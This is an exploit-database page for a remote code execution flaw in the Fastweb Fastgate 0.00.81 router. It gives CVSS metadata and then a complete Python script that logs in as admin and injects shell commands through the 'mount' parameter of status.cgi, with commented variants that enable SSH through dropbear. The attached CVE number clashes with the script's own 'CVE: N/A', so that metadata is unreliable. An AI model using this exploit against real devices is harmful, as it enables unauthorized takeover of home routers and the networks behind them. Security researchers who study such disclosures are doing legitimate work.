Exploitalert - Database of Exploits

Fastweb Fastgate 0.00.81 Remote Code Execution

CVE	Category	Price	Severity
CVE-2021-38331	CWE-20	$10,000	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-11-14

CPE
cpe:cpe:/h:fastweb:fastgate:0.00.81

CVSS	EPSS	EPSSP
CVSS:4.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H	0.396	0.987625

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019110086

Fastweb Fastgate 0.00.81 Remote Code Execution

# Exploit Title: Fastweb Fastgate 0.00.81 - Remote Code Execution # Date: 2019-11-13 # Exploit Author: Riccardo Gasparini # Vendor Homepage: https://www.fastweb.it/ # Software Link: http://59.0.121.191:8080/ACS-server/file/0.00.81_FW_200_Askey (only from Fastweb ISP network) # Version: 0.00.81 # Tested on: Linux # CVE : N/A import requests, json, time, sys current_milli_time = lambda: int(round(time.time() * 1000)) password='XXXXXXXXXXXXXXX' if password == 'XXXXXXXXXXXXXXX': print("Password is set to XXXXXXXXXXXXXXX\nOpen the script and change the password") sys.exit(-1) #get XSRF-TOKEN headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Referer': 'http://192.168.1.254/tr069', } params = () response = requests.get('http://192.168.1.254', headers=headers) #login request and get sessionKey xsrfToken=response.cookies['XSRF-TOKEN'] cookies = { 'XSRF-TOKEN': xsrfToken, } headers = { 'Pragma': 'no-cache', 'X-XSRF-TOKEN': xsrfToken, 'Accept-Language': 'en-US,en-GB;q=0.9,en;q=0.8,it-IT;q=0.7,it;q=0.6,es;q=0.5,de;q=0.4', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36', 'Accept': 'application/json, text/plain, */*', 'Referer': 'http://192.168.1.254/tr069', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'keep-alive', 'Cache-Control': 'no-cache', } params = ( ('_', str(current_milli_time())), ('cmd', '3'), ('nvget', 'login_confirm'), ('password', password), ('remember_me', '1'), ('sessionKey', 'NULL'), ('username', 'admin'), ) response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies) jsonResponse = json.loads(response.text) sessionKey=jsonResponse["login_confirm"]["check_session"] print("Executing command reboot\n") #some commands as example are shown below in the mount parameter params = ( ('_', str(current_milli_time())), ('act','nvset'), ('service','usb_remove'), #Code execution #('mount','&ping -c 10 192.168.1.172&'), #('mount','&dropbear -r /etc/dropbear/dropbear_rsa_host_key&'),#to enable SSH ('mount','&reboot&'), ('sessionKey', sessionKey), ) response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies) print(response.text) #logout params = ( ('_', str(current_milli_time())), ('cmd', '5'), ('nvget', 'login_confirm'), ('sessionKey', sessionKey), ) response = requests.get('http://192.168.1.254/status.cgi', headers=headers, params=params, cookies=cookies) print(json.dumps(json.loads(response.text), indent=2))

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